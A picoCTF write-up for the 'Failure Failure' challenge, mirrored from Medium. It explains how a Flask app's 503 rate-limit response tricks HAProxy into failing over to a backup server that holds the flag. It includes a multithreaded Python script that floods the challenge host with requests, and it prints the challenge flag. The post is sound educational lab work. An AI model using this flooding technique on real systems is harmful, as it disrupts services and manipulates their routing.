picoCTF Writeup — Failure Failure
quality 7/10 · good
0 net
Tags
picoCTF Writeup — Failure Failure | by mayhack - Freedium
Milestone: 20GB Reached
We’ve reached 20GB of stored data — thank you for helping us grow!
Patreon
Ko-fi
Liberapay
Close
< Go to the original
picoCTF Writeup — Failure Failure
Introduction
mayhack
Follow
~4 min read
·
March 24, 2026 (Updated: March 25, 2026)
·
Free: Yes
picoCTF Writeup — Failure Failure
Introduction
In this picoCTF challenge called "Failure Failure" , we are presented with a web service behind a load balancer (HAProxy) . The goal is to retrieve a flag that is hidden on a backup server , but the load balancer will normally only send traffic to the primary server .
To solve this challenge, we need to force the load balancer to fail over to the backup server.
This challenge teaches an important real-world lesson about misconfigured rate limiting and failover systems .
Challenge Description
The challenge description states:
"Welcome to Failure Failure — a high-available system.
This challenge simulates a real-world failover scenario where one server is prioritized over the other.
A load balancer stands between you and the truth — and it won't hand over the flag until you force its hand."
From the description we learn:
The system has two backend servers
One server is primary
The other server is backup
The flag is only available when the backup server is active
Our job is to force the load balancer to switch to the backup server .
Understanding the Application
We are given the Flask source code of the web application.
Important part of the code: def global_rate_limit_key():
return "global"
This means all users share the same rate limit .
The application also uses a rate limiter: default_limits=["300 per minute"]
So the server allows 300 requests per minute globally .
If the limit is exceeded, the application triggers an error handler: @app.errorhandler(429)
def ratelimit_exceeded(e):
return "Service Unavailable: Rate limit exceeded", 503
Here is the key detail:
Instead of returning HTTP 429 (Too Many Requests) , the application returns HTTP 503 (Service Unavailable) .
This is extremely important.
Where the Flag Is Stored
Inside the home route: if os.getenv("IS_BACKUP") == "yes":
flag = os.getenv("FLAG")
else:
flag = "No flag in this service"
This tells us:
ServerBehaviorPrimary serverShows "No flag in this service" Backup serverReturns the real flag
So our goal becomes clear:
Force the load balancer to route requests to the backup server.
Load Balancer Behavior
The challenge uses HAProxy as the load balancer.
The configuration shows something like: server s1 :8000 check
server s2 :9000 check backup
Meaning:
s1 (port 8000) → primary server
s2 (port 9000) → backup server
HAProxy performs health checks on the primary server.
It expects the response: HTTP 200
If the server stops returning 200 , HAProxy considers it unhealthy and switches traffic to the backup server .
The Vulnerability
Now we connect everything.
When the rate limit is exceeded:
Flask returns HTTP 503
HAProxy interprets 503 as server failure
After enough failures, the primary server is marked DOWN
Once the primary server is down:
➡ HAProxy activates the backup server
And the backup server has: IS_BACKUP = yes
Which reveals the flag .
So the attack becomes simple:
Trigger the rate limiter until the primary server starts returning HTTP 503.
This tricks HAProxy into thinking the server is broken.
Exploitation Strategy
Our attack steps:
Send a large number of requests quickly
Exceed the 300 requests per minute limit
The server begins returning 503
HAProxy health checks see the 503 errors
HAProxy marks the primary server DOWN
Traffic is redirected to the backup server
The backup server reveals the flag
Exploit Script
We can automate the attack using Python.
The idea is to send hundreds of requests simultaneously . import requests
from concurrent.futures import ThreadPoolExecutor
import re
import time
URL = "http://mysterious-sea.picoctf.net:60811/"
def send_request():
try:
r = requests.get(URL, timeout=3)
return r
except:
return None
# Flood the server
print("Flooding the server to trigger rate limit...")
with ThreadPoolExecutor(max_workers=100) as executor:
for _ in range(600):
executor.submit(send_request)
# Poll for the flag
print("Checking for flag...")
for _ in range(30):
r = requests.get(URL)
if "picoCTF" in r.text:
flag = re.search(r"picoCTF{.*}", r.text)
print("Flag:", flag.group(0))
break
time.sleep(1)
This script:
Sends 600 requests quickly
Exceeds the 300/min rate limit
Forces HAProxy to fail over
Polls the server until the flag appears
Flag
After the failover happens, the backup server returns the flag: picoCTF{f41l0v3r_f0r_7h3_w1n_f8510432}
Security Impact
This challenge demonstrates how misconfigured rate limiting can impact infrastructure .
Because the application returned 503 instead of 429 , the load balancer interpreted the rate limit as a server failure .
This allowed an attacker to:
Manipulate load balancer routing
Force failover
Access sensitive data on the backup system
Mitigation
Developers can prevent this issue by:
1. Use Correct Status Codes
Rate limiting should return: HTTP 429 — Too Many Requests
Not 503.
2. Separate Health Check Endpoints
Load balancers should check a dedicated health endpoint , not the main application route.
Example: /health
3. Avoid Global Rate Limits
Rate limits should be per IP or per user , not global.
4. Backup Servers Should Not Expose Secrets
Backup systems should behave the same as primary systems and never expose sensitive data .
Conclusion
This challenge highlights how multiple small design decisions can combine into a vulnerability .
By flooding the server and triggering the rate limiter, we caused the load balancer to misinterpret the application's response and fail over to the backup server — revealing the flag.
It's a great example of how infrastructure logic can be exploited in security testing .
📬 Stay Connected
If you found this helpful and want to learn more about web security, hands-on labs , feel free to follow me for upcoming posts.
✍️ Follow me for more cybersecurity write-ups
🔗 LinkedIn — codermayank
📸 Instagram — @mayhack_
Tags: #BugBounty #EthicalHacking #ChatGPT #CyberSecurity #AIforSecurity #PenetrationTesting #HackerOne #Bugcrowd #WebSecurity #InfoSec
#cybersecurity #ctf #picoctf #bug-bounty #hacking
Reporting a Problem
Sometimes we have problems displaying some Medium posts.
If you have a problem that some images aren't loading - try using VPN. Probably you have problem with
access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).